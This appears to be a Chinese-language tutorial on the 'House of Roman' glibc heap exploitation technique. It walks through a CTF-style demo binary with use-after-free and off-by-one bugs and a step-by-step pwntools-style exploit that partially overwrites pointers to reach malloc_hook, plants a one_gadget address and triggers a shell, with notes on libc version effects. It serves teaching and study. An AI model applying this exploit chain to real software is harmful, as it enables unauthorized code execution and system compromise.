0%

House Of Roman-原理

House Of Roman

House of Roman 的一个核心思路就是利用 局部写 减少随机化的程度,从而给出爆破的可能

这种利用手法的主要特点是不需要 leak libc的地址,用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的,且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下,就能完成利用(当然也可以来绕 PIE)

  • 利用 off-by-one 把原本不可能进入 fastbin 的 unsorted chunk 进行修改(修改 size 到 fastbin 的范围),使遗留有“main_arena+xx”的chunk进入 fastbin
  • 利用 UAF 修改遗留在 fast chunk 中的“main_arena+xx”,使其指向目标地址

House Of Roman 利用姿势

外国老哥给了一个 demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
switch ( v4 )
{
case 1:
puts("Malloc");
v5 = malloc_chunk("Malloc");
if ( !v5 )
puts("Error");
break;
case 2:
puts("Write");
write_chunk("Write");
break;
case 3:
puts("Free");
free_chunk();
break;
default:
puts("Invalid choice");
break;
}
  • malloc_chunk:用户输入 size, 然后 malloc(size) , 大小不限
  • write_chunk:往指定 heap_ptr 写入 size+1 字节数据,off-by-one(Write时只是校验指针是否为0
  • free_chunk:调用 free 释放掉 heap_ptr ,不过没有清零,double freeuaf
1
2
3
4
5
6
7
8
9
void free_chunk()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

printf("\nEnter index :");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0x13 )
free(heap_ptrs[(unsigned __int64)v0]); // UAF
}

保护如下:

1
2
3
4
5
6
7
04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
[*] '/home/haclh/workplace/house_of_roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

分析外国老哥的exp:

一,分配 3chunk ,在 chunk2 + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack

1
2
3
4
5
6
7
8
9
create(0x18,0) # chunk1 
create(0xc8,1) # chunk2
create(0x65,2) # chunk3

info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61)
edit(1,fake) # set fakesize:0x71
info("fake")

二,释放掉 chunk2 , 然后分配同样大小再次分配到 chunk2 , 此时 chunk2+0x10chunk2+0x18 中有 main_arean 的地址,分配 3fastbin ,利用 off-by-one 修改 chunk2->size = 0x71

1
2
3
4
5
6
7
8
9
10
11
free(1) # chunk2 to unsortedbin
create(0xc8,1) # chunk2 new(include main_arena+88)

create(0x65,3) # chunk4
create(0x65,15) # chunk16
create(0x65,18) # chunk19

over = "A"*0x18 # off by one
over += "\x71"
edit(0,over) # set chunk2->size => 0x71(编辑chunk1,溢出到chunk2)
info("利用 off by one , chunk2's size --> 0x71")

这里的 off-by-one 保证了 chunk2 可以进入大小为“0x70~0x80”的 fastbin

这样“main_arena+88”就会进入 fastbin 了(方便后续的 UAF 进行修改)

三,生成两个 fastbin ,然后利用 uaf ,部分地址写,把 chunk1 链入到 fastbin

1
2
3
4
5
6
free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk1 链入到 fastbin 里面")
1
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
  • 0x555555757160 就是 chunk4
  • 0x555555757020 就是 chunk1(原本该是chunk3,但是末尾字节被覆盖了)

四,通过修改 chunk1->fd 的低 2 字节, 使得 chunk1->fd= malloc_hook - 0x23

1
2
3
malloc_hook_nearly = "\xed\x1a" # 该地址为 malloc_hook 上方
edit(1,malloc_hook_nearly)
info("部分写,修改 fastbin->fd ---> malloc_hook")

即把“main_arena+88”覆盖为“malloc_hook - 0x23”

五,然后分配 30x70chunk ,就可以拿到 malloc_hook 所在的那个 chunk

1
2
3
4
create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")

注意:这里设置的是“malloc_hook - 0x23”,存在“\x7f”来通过检查

六,释放掉 chunk16 ,进入 fastbin ,利用 uaf 设置 chunk16->fd = 0 , 修复了 fastbin

1
2
3
free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")

现在 fastbin 中只留有 chunk16 的地址(这个“修复”是什么意思,没有搞明白)

七,unsortedbin attack,使得 malloc_hook 被写入 main_arena+88

1
2
3
4
5
6
7
8
9
10
11
create(0xc8,1) # chunk2
create(0xc8,1) # chunk2
create(0x18,2) # chunk3
create(0xc8,3) # chunk4
create(0xc8,4) # chunk5
free(1) # 大小为"0xc8+0x10"的chunk2进入unsortedbin
po = "B"*8
po += "\x00\x1b" # 覆写FD的低地址,使其变为malloc_hook
edit(1,po)
create(0xc8,1) # 把chunk2申请回来,使malloc_hook变成unsortedbin中的最后一个chunk
info("unsorted bin 使得 malloc_hook 有 libc 的地址")

根据 unsortedbin 的特性,它会向 第一个chunk最后一个chunk 中写入 main_arena+xx ,修改其FD指向 malloc_hook最后一个chunk 就变为了 malloc_hook ,当然会被写入 main_arena+88

八,修改 malloc_hook 的低三个字节 ,使得 malloc_hookone_gadget 的地址

1
2
3
4
5
over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)

info("malloc_hook to one_gadget")

九,然后 free 两次同一个 chunk ,触发 malloc_printerrgetshell

1
2
free(18)
free(18)

上面的偏移均为调试所得,开启 aslr 后,需要爆破程序

利用条件:

  • UAF(对 fastbin 中的“main_arena+xx”进行修改,使其指向目标地址)
  • off-by-one(覆写“size”的大小,为了使保留有“main_arena+xx”进入fastbin)

版本对 House Of Roman 的影响

House Of Roman 并不依赖于 libc 源码,它的思想完全可以独立使用(覆盖main_arena)

但是实现 House Of Roman 需要 fastbin attack,unsortedbin attack 等技术的配合,而它们会受 libc 版本影响:

libc-2.27

  • fastbin attack 需要绕 tache(对chunk的数量有要求)
  • unsortedbin attack 可以直接打(只检查了“victim->size”,形同虚设)

libc-2.29

  • fastbin attack 需要绕 tache(对chunk的数量有要求)
  • unsortedbin attack 失效(其实也有办法可以绕过,只是条件苛刻)